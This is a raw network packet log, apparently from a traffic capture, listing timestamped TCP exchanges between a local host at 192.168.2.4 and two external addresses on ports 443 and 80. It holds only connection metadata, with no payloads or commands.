Nov 20, 2024 04:08:09.843081951 CET	443	62433	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.843343973 CET	62433	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.843374014 CET	62433	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.843374014 CET	62433	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.843390942 CET	443	62433	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.843400955 CET	443	62433	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.845855951 CET	62438	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.845884085 CET	443	62438	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.845964909 CET	62438	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.846096992 CET	62438	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.846103907 CET	443	62438	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.915093899 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915124893 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915141106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915158033 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915174961 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915189028 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.915191889 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915222883 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.915235043 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.915354013 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915380955 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915395021 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915401936 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.915421963 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915424109 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.915436029 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.915440083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915482044 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.915482998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915498018 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915513992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915528059 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.915544987 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915545940 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.915554047 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.915560007 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915590048 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.915600061 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915611982 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.915615082 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915633917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915642977 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.915648937 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915654898 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.915663958 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.915688038 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.915760040 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915775061 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915802002 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915815115 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915822029 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.915846109 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.915853977 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.915879011 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915894032 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915909052 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915935040 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915936947 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.915954113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.915961027 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.915985107 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.915997982 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.916078091 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916104078 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916115999 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916141033 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916148901 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.916157007 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916160107 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.916182995 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.916198015 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.916230917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916296005 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916311979 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916327953 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916341066 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.916351080 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916366100 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916369915 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.916382074 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916399002 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.916414022 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.916431904 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.916464090 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916480064 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916495085 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916511059 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.916529894 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.916537046 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.916548014 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916563988 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916579008 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916594982 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.916594982 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916621923 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.916641951 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.916666031 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916682005 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916697025 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916711092 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.916722059 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.916745901 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.916768074 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920140028 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920156002 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920172930 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920187950 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920187950 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920202971 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920226097 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920288086 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920304060 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920320034 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920336008 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920346975 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920360088 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920366049 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920376062 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920387030 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920392990 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920397043 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920412064 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920414925 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920429945 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920429945 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920447111 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920443058 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920464039 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920469046 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920485973 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920505047 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920517921 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920562983 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920563936 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920578003 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920603991 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920610905 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920686960 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920701981 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920717001 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920732975 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920747995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920751095 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920758963 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920763969 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920779943 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920779943 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920789957 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920816898 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920833111 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920844078 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920861006 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920876980 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920890093 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920902014 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920902967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920919895 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920926094 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920942068 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920958042 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920965910 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920975924 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.920990944 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.920991898 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.921015978 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.921016932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.921032906 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.921047926 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.921065092 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.921087027 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.921106100 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.921150923 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.921173096 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.921188116 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.921202898 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.921216965 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.921246052 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.921246052 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.921278954 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.921294928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.921309948 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.921324015 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.921325922 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.921343088 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.921348095 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.921360016 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.921371937 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.921396971 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.976150036 CET	62431	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.976175070 CET	443	62431	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.003601074 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.003662109 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.003678083 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.003704071 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.003803968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.003820896 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.003837109 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.003854990 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.003864050 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.003870964 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.003889084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.003904104 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.003904104 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.003915071 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.003928900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.003941059 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.003947020 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.003968000 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.003969908 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.003982067 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.003992081 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.003998041 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.004000902 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.004014015 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.004018068 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.004029989 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.004030943 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.004045963 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.004048109 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.004074097 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.004082918 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.043379068 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043411016 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043427944 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043442965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043469906 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.043473005 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043489933 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043505907 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.043507099 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043520927 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043524027 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.043536901 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043546915 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.043566942 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043567896 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.043582916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043606043 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.043606043 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.043608904 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043625116 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043632984 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.043649912 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.043668032 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043668985 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.043683052 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043699026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043718100 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043725967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.043730974 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043745041 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.043750048 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043765068 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043764114 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.043790102 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.043790102 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.043808937 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.043937922 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043953896 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043968916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.043992996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044002056 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044008970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044019938 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044025898 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044043064 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044080019 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044080019 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044110060 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044198036 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044213057 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044235945 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044245958 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044255972 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044277906 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044286013 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044286013 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044306040 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044323921 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044367075 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044383049 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044399023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044426918 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044457912 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044502020 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044517994 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044538021 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044553041 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044565916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044578075 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044578075 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044580936 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044615030 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044630051 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044632912 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044647932 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044655085 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044662952 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044678926 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044691086 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044712067 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044779062 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044794083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044810057 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044817924 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044838905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044841051 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044863939 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044863939 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044881105 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044894934 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044897079 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.044917107 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044917107 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.044938087 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045005083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045022011 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045037985 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045054913 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045056105 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045072079 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045074940 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045104027 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045114994 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045114994 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045114994 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045144081 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045191050 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045222044 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045237064 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045247078 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045253038 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045269966 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045274973 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045274973 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045294046 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045314074 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045387983 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045404911 CET	80	62430	31.41.244.11	192.168.2.4
